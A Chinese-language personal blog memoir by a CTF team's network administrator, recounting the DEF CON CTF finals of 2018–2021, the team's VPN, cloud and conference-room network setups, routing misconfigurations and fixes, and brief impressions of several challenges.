网吧网管如何在 DEF COOON CTF 中存活

2021-08-22T00:00:00+00:00

全文都是流水帐，和writeup没什么关系。 </blockquote>
俗话说的好，别人的作业交的越晚，能抄的样本就越多（并不）。
因为个人参与度的问题，就不多讨论Quals了，只谈四年里参与过的Final。
Oh, Take Me Back, My Timemachine</h2>
在大学是跟着big1ce和wilson师傅通过CTF接触了安全领域，打了一些比赛，虽然成绩不太好，但自我感觉还不错。
工作之后，因为一些机缘巧合的因素，开始参与 DEF CON CTF。DC CTF的题比较难，起初做逆向，他们往往让我的F5没什么用，机器码也看不得；后来看看Pwn和流量，各家神仙的payload也看的紧，抄exp也很为难。所以过了几天，又觉得自己干不了这事。幸亏荐头的情面大，辞退不得，便改为专管网络的一种 ~~无聊（并不）</del> 职务了，或许这就是网吧网管的宿命罢。(neta结束)~~
The Order of Overflow</a>自2018起开始作为出题人，直到2021年结束。我则从2018 Final起，逐渐参与到这一局游戏中。2018年的事情几乎没有留下太多印记，只记得几个同事在Flamingo的房间里逆向，以及同事D在赛前帮我回酒店拿了一份快递。记忆消失了一块，有点可惜。直到长大后才会明白，有些东西如果不记下来，就会随风飘逝</a>。
Summer Night Wind</h2>
实际2019年本来是会在国内参与后勤做题的。只是没想到，有同学的签证没有过，原本在做运维的 Azure</a>需要被解放去做题。想当年我还在做某方向的商业测试项目，唉，人呐，就都不知道，自己不可以预料。一个人的命运啊，当然要靠自我奋斗，但是也要考虑到历史的行程，我绝对不知道我作为一个包邮区的测试工程师，怎么就把我当作主力运维选到Las Vegas去了。所以Azure同志跟我讲话，说，「中央已经研究决定了」，后来我就念了……
不，和你们想的不太一样。后来我就因为担心协作平台R不够稳定，跟他在会议室拍桌子吵了两个小时（此处音量-20dBm
事情是这样的，在DC 26中，我们引入了一个新的协作平台R</a>。这是一个非常富有远见的做法，试图解决在CTF这个特殊场景下多人协作的问题。实际上，后来我们也发现，在其他队伍（示例1</a>、示例2</a>、示例3</a>）中也引入了类似的实践，侧面说明Azure还是很牛逼的。而也是因为大家对平台的期望很高，导致DC26中出现了一些影响访问的问题，打击了大家对协作平台的信心。不过还好，在赛前，Azure和Mr. Robot完成了部分后端代码的强化工作，并在比赛之前完成了核心模块的测试工作。我则从公司出发，带着：

一台用作路由器的 BPI-R2</a>，以及作为备份的树莓派；</li>
一台支持VLAN的交换机，防止OOO的网络配置和DC26不一样，当然事后证明多虑了；</li>
一块将近160Wh的蓄电池，足以支撑上述设备在没有电源供应的情况下满负载工作几个小时，航空公司竟然真的让我把电池带上去了；</li>
以及一些笔记本和摄像头，用来协助做现场监视。</li> </ul>
在提议将热点名称改成Tea Receivers后，就收拾东西准备迎接正式比赛了。DC 27是分布式布局，CTF场地是在Planet Hollywood的Mezzanine。不过和其他国内队伍差不多，我们的人员也是分在三个点：现场，酒店套房和国内支援，三点之间靠OpenVPN</code>组成了一个大内网，内网和主办方的内网互通。此外，为了保证协作平台R</code>正常运行，需要维护用来执行攻击任务的脚本Ra</code>和用来解析主办方题目状态的脚本Rp</code>。那么作为运维的常规工作就很清楚了：维护好内网，维护好bot，应对一些奇妙的新网络需求，顺便水个签到题。
第一天过去布好网络后最大的感受就是，这空调开的真足，加上楼下人不多，没人帮我挡风，感觉腿好冷，不知道是不是酒店要照顾楼下在赌博的大爷大妈们……网络方面除了因为Google（一如既往的）对酒店网络访问Google DNS做了干扰，其他一切正常，所以作为国内队伍自然祭出了114.114.114.114</code>用。除了一些服务被d、服务下线、服务被d后下线之外的小插曲外，第一天的比赛就结束了。
第二天的比赛，主办方一大早就给每个队伍发了一个xbox 360</code>，说要把这个连到主办方的网络上，来完成题目dooom</code>。接上显示器后发现，显示器应该会走DHCP拉一个IP地址，于是重新配置了下交换机，将网线分出来一条接到了xbox上，同时把xbox的包抓出来分析了下。但不巧的是，因为自己手滑把路由器的一些配置写错了，再加上主办方似乎应用了DHCP限制，导致我们大概有半个小时左右的时间，没法从DHCP拉到IP。后来分析，这个DHCP限制应该一部分原因是由于，xbox本身是通过DHCP拿到IP后，去找网关启动的，可能他们认为网络上过多的DHCP请求会间接加重服务器负担，所以就做了一些限制。有趣的是，此时也似乎恰好赶上了主办方自己的网络出现问题，从中午11点多开始scoreboard的可用性开始下降，一段时间后完全不可用。
网络恢复后，开始和来楼下的同学一起看这个题，分析流量后认为应该是可以通过我们自己的DHCP服务器，给xbox的bootloader下发一个新的固件，达到patch。于是飞速重新划了个vlan，启动dhcp服务器，跑起来队友的脚本，之后就是常规的逆向、patch、打人的操作了，可以把KoH当作Pwn来做了。不过Zach大师的writeup</a>也介绍了他们的方法，只能说毕竟是老牌队伍，这都能干这么多分，自叹不如……
美好的做题时光总是短暂的，jackyx开心的游戏时间（虽然没有很nb的枪</a>）也走到了尾声，dooom</code>在被HITCON拿了一堆分数后，很快就离开了我们（rip），而我的网管任务也在第三天来到了尾声。第三天和前两天一样，没有什么变化。只是在实践中发现，攻击脚本Ra的运行不仅不够平稳，规则也不太灵活，因此后面的一两个题现场好像还是依赖人工打出去的。
我是在酒店看最后的颁奖典礼的，结果算是差强人意，但在比赛结束时也多多少少有预计到会是这样的结果。因为准备和朋友们去黄石玩，所以跳过了一些有趣的party和自助餐环节，直奔机场了。事后想了下：
从来没有预计到DHCP竟然会成为卡点；</li> 酒店网络实在是糟糕，也不知道明年会在哪个酒店，头大；</li> 今年攻击脚本没有发挥出最大的效用，表面原因还是大家的习惯问题，但深层原因是协作本身的成本就很高；</li> 类似的，和我们一样，Tea Deliverers的writeup</a>中也有提到，idarling也需要改进。在赛前我们实际花了很多时间和精力处理idarling相关的问题，相信TD也有，但看来无论是我们还是TD，都没有达到符合预期的成果。深入思考后我觉得，核心问题在于IDA的重交互，让实现“协同逆向”这个目标的难度过高了。</li> </ul> Baba O'Riley</h2> 实际去年在去DEF CON之前，感觉或许DC27是我为数不多的几次DEF CON了，因为周围的环境已经和之前不一样了。然而万万没想到，环境不仅变了，变的还很剧烈。以至于干爽的夏夜晚风，变得燥热和阴湿。 在这次Cancelled DEF CON前，国内的疫情基本上得到了有效控制，所以最后决定在公司的会议层把线下参与的所有同学召集起来（羡慕麦香的大别野</a>）。因为今年整个DEF CON都是线上版本，所以CTF的时间也被划分成了四个赛段，基本上几个主要大陆的白天和晚上都包含进来了。对运维的好处就是，因为不需要考虑套房网络这个最不稳定的因素，所有基础设施都可以放在云上了。此外，按照去年的经验，以及我们观察到的OOO出题特征，感觉攻击脚本Ra和状态解析器Rp所带来的成本会大于收益，因此决定在比赛中仅使用协作平台的基本功能。 纯远程的比赛，大概需要考虑的就是这么几个部分： 和比赛方网络的连接。按照OOO给出的指南，我们会通过一个带有wireguard</code>的jumpbox</code>接入比赛内网。考虑到美国云市场的情况，估计他们用的就是aws，所以在云上提前买了美国的机器，用来写入wireguard</code>配置。</li> 选手接入网络。由于大多数选手都在国内，因此需要准备好国内的VPN服务器，并提前分发配置信息。此外，因为在美国也有同学参与比赛，也需要准备给他们的VPN服务。不过需要在服务器上屏蔽掉对方的IP地址，防止国内同学误接到国外VPN（或者反过来），导致被GFW封锁。</li> 我们自己的服务设施。根据业务特性的不同，服务器可能需要在不同的地点。比如，协作平台的主要用户在国内，因此相关服务要部署在国内的服务器上。而有些exp对延迟要求比较高（比如涉及到侧信道的攻击方法），因此需要在国外也准备服务器。</li> 中美服务器网络的Peer。因为所有的服务都部署在上，考虑到中美之间的网络本身就不够稳定，我们果断决定借用〇〇〇提供的专线，将国内和国外的两个云内网接在一起。</li> </ul> 大致决定好了基础网络架构后，用一个下午的时间设置起了整套系统，以及重启后的恢复措施，保证不会因为一些奇怪的母鸡问题导致VM重启后长时间中断业务，顺便加了一些安全策略，并将所有服务器加入了Netdata</a>，然后就静待OOO的配置了。整体的网络架构大体是这样了： +---------------------------------------------------------------------------+ | | | >Other players in our team< | | | +-----------------+----------------------------------+----------------------+ | | | | | OpenVPN | OpenVPN | | The `dc28-redir-controller` +--------+------+ +------+--------+ is deployed here | | | | | VPN Endpoint | | VPN Endpoint | | | for CHN users | | for USA users | | | | | | v +-------+-------+ +-------+-------+ | | +---------------------------+ +--------------------+ | bandwidth and ACL limited! | | | | | | save some money ;) | | Jumpbox, config copied +-----+ OOO's WG endpoint | | | | +-----+ from OOO's machine | | | | | | | | | | | +---------------------------------+ | v | | +---------------------------+ +--------------------+ | | +-----+-----+ +-----+-----+ | | CPU-intensive applications | | | QoS Promised | | | | since EPYC servers are only +------+ Gateway +------------------------+ Gateway +------+ +------------------------------------+ | available in CHN available zone | | China | MPLS VPN? not sure. | U.S West | | | | | | | 110-130ms, <0.1% loss | +------------+ Latency-aware programs | +---------------------------------+ +-----------+ +-----------+ | & | | Traffic-heavy programs (like pcap) | | Reduce costs under the ocean | | | +------------------------------------+ - All connections are using WireGuard unless specified. - Netdata is installed on all machines so we can do remote telemetry and receive alarms.</code></pre> 在比赛前，突然想起来OOO有提到过，这次比赛会有Normal和Stealth两种端口方式</a>，因此和space、dadong临时赶工，做了一个转发控制器，保证不会因为手滑打错端口。上线后大家的反响还不错，而且从赛后听到的一些情况看，的确有的队伍出现过打流量打错的情况（第一轮打Normal，之后就开始打Stealth），侧面证明这个工作还是有意义的。 OOO方面，因为这次是一次“云原生”（请允许我滥用下这个概念）的CTF，因此他们也引入了一些措施，包括： 私有题目实例</a>，导致就算你能D别人，其他队伍也不会被影响，而且OOO原本就会手动检查patch。这无疑进一步加重了运维同学的工作量，也带来了一些问题，但可能更多的是他们的经验不够丰富，因为在〇〇〇和〇〇〇〇等公司的CTF平台中，为了阻止一些老搅〇棍（以及我这种乐于看戏的）获得乐趣，就引入了这种方式；</li> 打到600个flag就下线服务，结合之前的分段下线。这个很好，很活跃气氛，而且实际上给了队伍更多动力：能否找到更奇妙的利用方式？能否找到更奇妙的洞？</li> </ul> 云原生的好处就是OOO的资源几乎是无限的（depends on your credit card），但坏处就是往往让人对架构过于自信，以至于忽视了一些原生运维中遇到的带宽等问题，结合他们之前的一些Devops问题，总的一算</a>确实给这次比赛的体验带来了一些影响。实际和他们一样，我也犯了一些不大不小的错误，不过好在没有影响最终结果。对大盘有比较严重影响的就是在比赛中间，预设的网络报警弹了下。起初以为是偶发抖动，后来发现专线丢包率可以达到10%，以至于影响到了队友打exp。登录监控系统发现，为了把流量发回另一个分析系统进行分析和重放，20M的专线带宽被占满了，因此临时把专线带宽限制提升到了100Mbps，不过还好比赛后就没有发生类似的情况。至于服务器爆内存等，基本都通过云上的快速资源扩容解决了，没有收到太多的影响。甚至还充当人肉打字员，帮做crypto的同学打了几圈，直到题目下线。此外，赛中做KoH的同学提议，是不是有个面板能看到得分历史比较好一些。想了想也有道理，但即便写了解析脚本Rp也不太好实现这个功能，索性用一些现成工具快速搓了一个，上线效果还不错，感觉自己也算是DevSecOps一把了（你说看不到Sec在哪里？我不是有配iptables</code>？）。 因为赛中大家基本都在会议室，感觉会议室会变的很热（虽然有空调），所以大部分运维工作都是在工位通过线上会议完成的。虽然在最后的十几个小时到会议室跟着看了几个题，但基本上已经错过了整场比赛最有意思的部分：Manchester Dataflow Architecture</a>。数据驱动的思想虽然让我有点不怀好意的想起了某理论，但仔细想了下，这个思路其实和六七十年代的模拟计算机有一点关系，把Compiler理解成电路图后，也大概能了解一些题目的意图了，感觉如果用电容和电感搭一台这样的计算机，应该是一个很有趣的挑战（笑）。途中还去围观了下pinboool</code>的题，感觉可以通过scoreboard上的那个长的很像CFG的动画，映射到真正的程序执行流上，然后就有队友做出来了（md好强），虽然两者有一定差别，不过还是对这个题起到了一些帮助。一边看题一边想，这个东西对思维模式的冲击还是很大的，出题好用，所以明年估计还是会用（没想到一语成谶……）。 最后投入时间比较长的是gameboooy</code>这道题，也恰好因为自己对gameboy比较感兴趣（指在工位抽屉里有一台山寨的gameboy），就跟着过去逆了一下，把涉及到VRAM和ROM的一些东西逆了一圈，确认了GPU的工作过程和原生的ROM没有太多差别，但没找到任何有帮助的东西，百思不得其解。最后搞得会议室里众人十分萎靡，dmxcsnsbh说这应该是一个不知道为什么被出错了的条件竞争，而我不信。最后证明他的想法是对的，的确是一个条件竞争，但似乎是因为编译器优化的原因被吃掉了。 比赛结束后会议室里的气氛并不算特别好，因为结果实在不好确定，直到成绩最后公布的那一刻。看Zardus宣布成绩的gif</a>其实还没反应过来，直到听到第二名是PPP才意识到是自己第一，听到自己被宣布是第一名时就激动了，甚至把旁边几个会议室开会的人都吓了一跳（抱歉）…… 总之开心是很开心，赛后想了下： 疫情控制得当，在这次比赛中显然演变成了主场优势，但人多带来的沟通问题和人力浪费问题也超过了预期；</li> KoH的确很有意思，虽然被打的有点惨，但真的有意思，比攻防有意思（虽然会被人吐槽不纯粹）；</li> 传数据包这种典型的大流量业务应该走公网的，不应该出问题后才扩容，浪费了一些预算而且影响了业务；</li> 监控指标应该再精细一些，且占用带宽长期高于一定程度的话，就应该先扩容了，不应该等到丢包的地步；</li> 缺少更精细的流量调度能力，不过说是这么说，到底要怎么调度，也没有想好……；</li> 协作方面，协作工具实际上并没有太大变化，而且甚至都使用起了微信群，个人觉得这个东西是真的不堪用，不仅沟通效率低，新来的人也不知道上下文，而且这个小而美的应用可真的是……；</li> 不过语音会议真的是个好东西，以至于在DC结束之后，如果需要远程工作的场合，都喜欢挂一个会议软件在线上，这样别人要叫我的话只要加入会议就可以了。</li> </ul> 一边开心，一边在想，明年的CTF要怎么办呢？也算是比较深刻的领会到了美国的联邦制特色，不同州的控制力度截然不同，在当时也完全看不出两国边境重开的迹象。总之一边怀着对边境重开的美好期盼，一边沟通badge的邮寄事项，一边思考明年的CTF有什么可以做。 所以最后请吃饭了嘛</a>？ </blockquote> I Don't Wanna Leave Tonight</h2> 到了今年，事情变得更糟了，有关部门甚至暂停了护照签发。两国关系也每况愈下，和朋友之间的正常邮路被干扰，邮局的朋友也说从美国的退包变多了，以至于直到今年的Quals之前还没收到奖牌，索性不想这些，安心准备比赛。 新的网络</h3> 相比于前几年赛前组织的几次专门比赛，今年Quals前大家基本以其他CTF作为练习和娱乐的方式，仅在Final前一周举办了一次测试赛，以便新同学习惯环境。今年的比赛采用Hybrid模式，线上和线下同时进行。根据主办方提前发过来的邮件，接入比赛网络的方式似乎和去年一样，是通过jumpbox里的一个wireguard配置文件，设置好路由表，所以今年在云端的框架也基本和去年类似。不同的是，经过之前在其他业务上的一些测试，我对云服务上的VPC能力更有信心了，因此决定今年在云端除了必要的peering（比如和主办方peer）外，其他流量都通过云上的虚拟网络来解决，这也算是“云原生”的CTF了。 ;-) 此外，由于在Quals中，不常驻在公司的同学反馈链接公司网络过于麻烦（需要绕来绕去，而且带宽也有限），因此在Final前我决定除了保留原有的VPN接入方式作为备份外，还是给大家部署一个专用的无线网络比较好，这也是今年的网络部署和去年最大的不同。整体拓扑就变成了这样： +---------------------------------------------------------------------------+ | | | >Other players in our team< | | | +----------+------------------------------------------------+---------------+ | | | | | OpenVPN | OpenVPN +-----------------+ +------------------------+ +---------------------------------------------------------------------------------------+ | | | +---------------+ | | +---------------+ | | | | | | | | | | | | Meeting Rooms +---------+ VPN Endpoint | | | | VPN Endpoint | | | | | | for CHN users | | | | for USA users | | | | | | | | | | | The `dc28+redir+controller` | | | | +-------+-------+ | | +-------+-------+ is deployed here | +-----------------+ | | | | | | | | | QoS Promised | | + | | | <<-------------------------->> | | | | | | MPLS VPN? not sure. | | v | | | | 110+130ms, <0.1% loss | | | | | | | | +---------------------------+ +--------------------+ | | +-----+-----+ | bandwidth and ACL limited! | +-----+-----+ | | | | | | | | | save some money ;) | | | | Jumpbox, config copied +-----+ OOO's WG endpoint | | | | Other | | | | Other +---------+ from OOO's machine | | | | | | Servers | | | | Servers | | | | | | | | | | | | | +---------------------------+ +--------------------+ | | +-----------+ | | +-----------+ | | | | | | Cloud VPC - CN | | Cloud VPC - US | +---------------+--------+ +--------------------------------------+------------------------------------------------+ + All connections are using WireGuard unless specified. + Netdata is installed on all machines so we can do remote telemetry and receive alarms.</code></pre> 从mamamiya10那里打听到，和去年差不多，本次比赛会用到会议楼层的5间会议室，每间会议室大概是6mx8m的样子。外网方面，不巧的是，由于一些大人的原因，每条外网链路的带宽只有40Mbps，而且需要为每条外网链路单独引一根网线（不是光纤），在这根网线上只能有一个mac地址。但幸运的是，这些链路的数量是基本不受限制的。此外，在用户接入方面，最好能让用户直接接入到比赛内网中。 赛前整理了下手中的材料，似乎有： 比赛前从淘宝买到了一台6端口的杂牌软路由；</li> 在仓库中挖掘出若干态TP-Link入门型家用无线路由器；</li> 一台由Azure留下的无线路由器，装好了openwrt。在往年的比赛中，这台路由器是放在酒店房间的；</li> 原本被用来拆解</del> 测试的，一台H3C S51xx的三层交换机，有24个千兆电口，4个光口；</li> </ul> 除此之外在京东上买了一些网线、地毯胶带之类的耗材。 网络部署方案，则相对从简： 从各个地方接出10条公网网线，接入交换机上；</li> 软路由作为网关，使用全部网口，和交换机做bonding</code>连接（lacp，L2+L3 hash），并透传所有VLAN；</li> 在交换机上划分出四类VLAN，分别用于：用户接入（1000）；</li> 流量路由（1500）；</li> 网管（500）；</li> 与公网上游互连（1200-1300）；</li> </ul> </li> 每个房间各部署1个无线路由器，当作接入点使用，链接到用户接入VLAN上，并通过调整接入点信号强度，保证终端尽量落到最合适的接入点上；</li> 用交换机承载接入业务（DHCP和DNS转发、三层路由到网关）并实现部分ACL；</li> 刚好剩下两个网口，在路由设备所在的会议室，用有线预留几根网线，供紧急情况下接入网管段，或进行流量镜像使用。</li> </ul> 因为所有VLAN都被透传到了网关，所以和公网互连的工作也要由网关负责。通过ECMP</a>，可以保证不同的会话被分配到不同的外网链路上，从而让接入到网络中的用户能够分担</a>不同链路。除此之外就是一些常规的SNAT、防火墙配置等工作。 但仅通过ECMP并不能实现带宽的有效利用，因为在比赛中需要优先保障的是会议层用户和云上服务器之间的高带宽，而OpenVPN只会有一条TCP链路。因此，经过比较了一些方案的性能后，我决定使用MPTCP</a>作为会议室网关和云上互联的三层协议。由于我们需要通过OpenVPN实现对接，因此除了更新到较新版本的内核外，还需要将已有的OpenVPN程序适配到MPTCP下。由于时间比较紧张，在不熟悉程序的情况下，重新编译程序比较麻烦。因此我决定使用systemtap修改系统调用的参数</a>（也可以使用LD_PRELOAD</code>实现此目的），从抓包中便可以看到，服务器和客户端之间已经带着MPTCP相关的协议头在公网链路上进行三次握手了： 理论上，只要给服务器再增加一些公网IP，就可以让mptcp在多条链路上建立通信，从而发挥ECMP的负载均衡作用，实现VPN内的高带宽和强可靠性了。但在我们的场景中，仅是这样，还不足以让mptcp发挥作用。因为在我们的云服务器中，由于采用了私有网络，因此服务器上网卡的IP地址都是某个子网的私有地址，而非这个网卡对应的公网IP。为了在不做重度修改的情况下，让通信双方发现服务器所具备的公网IP，还需要使用ip mptcp endpoint</code>命令进行一些修改</a>，这样就可以了。我们选择了两条链路作为测试，如图： 除此之外，吸取了去年的教训，对传数据包这种重要性一般、但代价极大的业务用公网定期rsync，对其他一些反馈过的问题也做的调整。此外，除了将所有服务器加入netdata外，本次也在netdata上配置了更多的监控告警规则，防止发生网没了但自己不知道的尴尬情况。 在决赛前一周的练习赛前，上述网络就已经准备好了。但在练习赛中，有同学反应自己上网非常困难。经过检查，感觉是交换机的DNS转发服务如果直接使用公网的DNS服务器会有问题，因此我决定在网关上加布一个SmartDNS作为缓存服务器，将查询转发到这台缓存服务器上（flag1）。调整后，仅有零星几个请求出现了问题，我感觉应该是偶发问题，可能和对端有关，因此没有深入看（flag2）。不过当时也没想这么多，训练赛结束后，将所有用到的命令、脚本等整理到一个在线文档后，就开始等待决赛。现在回头看，没处理好这两个flag，给比赛中的基础设施带来了不少麻烦，幸亏有这个在线文档，救了一命。 A-roll</h3> 决赛那周的周一晚上，因为一些其他事情，我不得不临时离开比赛地。直到比赛开始的六小时前，我还被堵在首都机场高速上。在此期间，在现场的rambou、digle等大佬们，已经从我零散的文档中推断出了一些网络规划，并已经帮忙大致铺设好了遍布五个会议室的所有网线，总长度约300米。比赛前一小时，我终于回到了比赛现场，马上打开电脑开始部署，借助之前整理好的在线文档完成了启动，顺便帮忙整理了剩下的一些网线，总算是没有耽误比赛，但原本在比赛之前预留的一小时网络测试时间就不见了。 因为今年是线上、线下混合模式的比赛，所以和往年的线下比赛一样，分三轮进行，setup时间是每天凌晨0点。为了保证线上队伍和线下队伍有尽量公平的环境，OOO要求所有队伍都使用jumpbox接入比赛网络，他们的服务也都部署在云上。按照往年的经验，DEF CON现场的网络不是很稳定，偶尔会有奇怪的断网行为，但估计是因为疫情影响，没有太多队伍在Discord频道里反馈有断网的问题。 周六凌晨一点，比赛开始，但随后大家就反馈访问网络断断续续的，从抓包结果看似乎依然是DNS问题，登上交换机一看，原来是训练赛时候设置的DNS没有保存，还在往外网的DNS服务器发送请求。因为DNS是工作在转发模式，所以修改配置后可以立刻生效。但似乎依然不能访问team interface，不久Zardus在公屏通知大家，比赛因为网络问题延迟一小时开始，并顺手发送了第一道题目。PPP的Writeup</a>里大概介绍了这个题目，很有趣，赛后我也玩了一会，不过在比赛时，完全没有时间顾及这道题目，因为要在服务器上跑起来各种脚本。 在若干脚本中，其中一个脚本是负责获取当前比赛信息的。在OOO的比赛中，所有数据会通过一个game_state.json</code>提供出来，我们则用一个非常简单的while true; do ... done</code>每隔一段时间抓取这个json，并将解析后的结果输出给其他服务。按照正常的放题规律，在比赛初期这个文件应该只有几k大小，因为放出的题目不多。不过出人意料的是，第一次运行脚本，就拉下了一个1MB的文件。还没等开始分析这个文件，就看到Zardus在公告频道说，PPP已经发现了这个问题并通知了主办方。文件泄漏是他们不小心将测试文件放到了生产环境中，因此为了公平起见，他们决定公布这个泄露的json文件。不久后的captain meeting上，Zardus也说原本600个Flag即下线服务的机制，可能会暂时取消了。 不久后比赛开始，但又有人反应访问外网出现问题，查了半天发现是那台Netgear路由器不知道怎么回事，二层表现很奇怪，用户间不能互相访问，而且在网络上乱发一些二层报文。感觉可能是要寿终正寝了，加上感觉来的人也不多，甚至有一个会议室是空的，索性把空会议室的路由器挪用过去，就解决问题了。回到椅子上感叹，可能网管就是这样吧，用最简单的思路解决最低级的问题…… 没等感叹完，又有人报警了，而且是连同自己的监控脚本一起报警的，是访问外网偶有超时、链接不上等等，不过对到比赛网络的VPN链接没有影响。看了半天流量和抓包结果，没有头绪，感觉是偶发问题，但在部分同学的机器上甚至无法访问网络，像极了在测试赛中的那个没有回收的flag。因为流量比较大，大家也都在比赛，找用户抓包显然是一个不太讲道理的选择。考虑到只影响一部分用户，且不影响比赛流量，感觉还是等这一轮比赛结束后再处理比较好，索性让有问题的用户先用VPN连，自己也不准备再看题了，还是看网络情况，保证大家能做题比较要紧，直到第一轮比赛结束，没有太严重的问题。 第一轮比赛结束后，趁着大多数人都去睡觉，用户不多，开始修网。此前提过，为了实现对多条外网带宽的负载均衡，我们使用了ECMP，同时也使用了MPTCP。一般来说，在这种情况下，要使用策略路由</a>，然后设置好这样的路由表： # route table eth1, gateway 192.168.1.254/24 default via 192.168.1.254 dev eth1 src 192.168.1.1 table eth1table 192.168.1.0/24 on link table eth1table ... # route table eth2, gateway 192.168.2.254/24 default via 192.168.2.254 dev eth2 src 192.168.2.1 table eth2table 192.168.2.0/24 on link table eth2table ...</code></pre> 并添加这样的策略： 3000: from 192.168.1.1 lookup table eth1table 3000: from 192.168.2.1 lookup table eth2table</code></pre> 这样的目的，是保证流量被正确的发送到对应的网卡上。这样，理论上，我们可以用这样的一条命令，来测试eth1</code>这条链路的状况： ping -c 1 --interface 192.168.1.1 192.168.1.254 # test link ping -c 1 --interface 192.168.1.1 1.1.1.1 # test network</code></pre> 这样，在默认路由表中，加入一条： default nexthop via 192.168.1.254 dev eth1 src 192.168.1.1 weight 1 nexthop via 192.168.2.254 dev eth2 src 192.168.2.1 weight 1</code></pre> 来方便的控制路由。此外，通过使用上面的命令检查链路状态，可以在检测到某条链路出现问题时，用ip link set dev eth1 down</code>关掉，从而保证默认路由不受影响。然而在抓包过程中，意外发现，上面两条用来测试eth1网卡的ping命令，会在eth2网卡上发出ICMP包，源地址却还是eth1网卡的源地址。由于上游链路的限制比较多，这个包显然会被上游直接丢掉。使用iptables</code>的trace</code></a>后，发现并不是netfilter导致的问题。此外，前面提到过的systemtap程序仅对openvpn起作用，按理讲不会影响ping才对。看来是路由层面出现的问题，百思不得其解之时，查看了下路由表的内容： # ip route show table eth1table default via 192.168.2.254 dev eth2 src 192.168.2.1 table eth2table 192.168.2.0/24 on link table eth2table ...</code></pre> 很灵异。为什么查看的是eth1table</code>，返回的却是eth2table</code>？突然想起来，内核实际并不用名字来区分路由表，而是用一个编号。名字和编号的对应关系，定义在rt_tables</code></a>中。打开一看，果然不出所料： 30 eth1table 30 eth2table 40 eth3table 40 eth4table</code></pre> 不同的编号被赋予了相同的名字……想来是配置的时候太困导致打错字。而和云端互联的VPN通道之所以没有受影响，是因为我们给云端的VPN通道分配了4个IP，加上MPTCP的保证，只要有一个IP恰好被分配到正确的路由表项上，就不会出问题。总之，这是一个非常低级的错误。 修好后，感觉没什么事做，被bigtang师傅叫去看broadcooom</code>，帮忙分析了一部分交互逻辑。这个题实际上是泄漏出题目的一部分，归属于ooows</code>系列。从名字也能看出来，是做了一套虚拟化的体系，而这个题自然是neta了broadcom</code>，写了一张虚拟网卡，可以放在不同的主机上，通过mosquitto</code></a>（MQTT）实现通信。MQTT本质上是基于pub/sub的，客户端连上服务器后，可以对某个topic发消息，也可以收某个topic的消息。在这个题中，MQTT大概是被当成一个二层的集线器（hub）</a>来用，是真的hub，发消息后所有人都会收到，然后根据发送的id和vpcid来决定是否要把数据交给网卡的firmware。网卡的firmware比较有意思，听其他同学介绍是自定义了一个cpu，这个cpu有4个虚拟的核，执行方式有点像node</code>的事件循环机制，在A核上会一直处理，直到阻塞在队列上，然后去B核处理事件循环……大概是这个样子，不过我并没看这部分。除了让我想起了node.js</code>外，不由得想起了去年决赛和今年预选赛，让我受益匪浅的曼彻斯特机…… B-roll</h3> 解决了各种混乱的事情后，已经离下一轮比赛开始没多久了。第二轮比赛开始后，见网络没有大问题，就去睡觉了。没想到睡了三个小时不到，被space从梦中叫醒，说网络又出问题了。从气垫床上爬起来，登上网关一看，外网链路有一大半处于不可用的状态，二层的广播包尚且有反应，但三层到网关完全不通。想了想，应该是坑爹的上游链路问题，难道是一段时间没有发DHCP包就会被踢下线？于是手动renew下，一切正常了，继续回去试图睡觉，幸好不影响VPN链路…… 睡自然是睡不了多久的。醒来回到座位呆了一会，就听到www</code>题目被放出来了。此时已经完全不清楚大家都在干什么（因为睡觉的时间点不是很对），于是跟着看了看。应space的需求，写了个脚本，循环检测跳板机上的密钥是否存在，如果不存在的话重置密钥和rsync，然后拉回流量，顺便把网络内到这个题目的网段13.37.0.0/16</code>和192.168.0.0/16</code>，经过redsocks</code></a>处理后，通过跳板机发走。不过工作量实际不多，主要的经历都分配在如何在碰路由表的时候防止服务中断，以及如何配置redsocks</code>，顺便将这个题目的分数单独爬出来，灌到数据库里，以便可视化使用。 想来也是有趣，我的网络知识大多拜GFW所赐，但基本都在CTF中派上过用场。 此外因为KoH的一些脚本耗费资源过大，导致内存爆炸，因此将脚本单独放到了一台服务器上跑，再次证明了预先做准备的重要性……这个题给我的感觉是，所有人乘着时光机回到了2003年： 你手里有一个0day，有一个ISDN Modem，有一堆没有打补丁的机器，你要做什么？ 主办方后来还说他们还在网内放了几台Windows 2000的机器，不过我们似乎因为扫描流量太多，所以没发现。题目页面也冒着一股西部牛仔的风格，总之这个题也的确是很有意思。 第二天结束后，为了保证第三天的比赛不受影响，我临时将专线级别从铁牌改到了银牌。此外，比赛方面，主办方循例放了几道题，说大家可以在晚上看看，但不确保一定会放题，其中一道是ows系列题目的最后一体题hyper-o。比赛结束不久后，dmxcsnsbh在大群里说这个题有点意思，于是我也被吸引过去看了起来。 题目本身是一个带有符号的kernel module，拖进去一看遍地的VMREAD</code>，再结合hyper-o</code>这个neta，就知道这应该是个VMM</a>。队友拉出了好用的插件</a>，我不懂挖洞，也不懂linux kernel，闲着的话也显得格格不入，于是索性开始从Intel SDM</a>的22章开始读起，学习一点虚拟化技术，写一点读书笔记。从代码来看，出题形式应该也不会很复杂，将shellcode喂进去就好了。但因为题目的init</code>还没有给出，而整个ows</code>系列也还没出过race，于是我在想，会不会有那么一种可能，一个连接就在VMM里起一台新的虚拟机……以至于最后困的不得了，被dmxcsnsbh拉着一起一个个bit的看虚拟机的启动逻辑，自然也都是一无所获。 为了保证第三阶段我的脑子还在线，索性去睡觉。醒来后才知道大佬们已经在页表中发现了问题，但没来得及写出exploit。其他同学从流量中发现了exploit，通过写寄存器的方法传输flag，虽然只读了一半，不过汇编很容易读，简单修改后我们就抄好了作业。因为这一题的题目始终不太稳定，因此决定将受害者分成几组，分别打。 令人伤心的是，作业还抄的不够开心，这一题就被升级到了第二阶段。这一阶段就和其他题目一样，我们需要上传一个完整的磁盘镜像，虚拟机会从这个磁盘镜像启动，然后运行我们的exp。洞虽然修了，但exp不是很好写。jackyx试图写显存，但似乎因为一些奇怪的原因没有生效。我则从流量中看到了一些可疑的痕迹，但要么重放后没有效果，要么是因为服务问题无法上传到服务器上。OOO中途也重置了几次环境，这样不仅负责patch的xhj需要重传patch，我也要测试下之前传过的镜像是不是可以用……在最后几十分钟，由于一些奇妙的原因，我们和其他队伍都不能访问自己的实例，但可以被打，不由得让我想起了去年的bdooos</code>。无论如何，比赛按照预定的时间结束了。在最后几分钟，我终于完成了本次CTF里，个人影响最大的一件事：公放《The Final Countdown</a>》 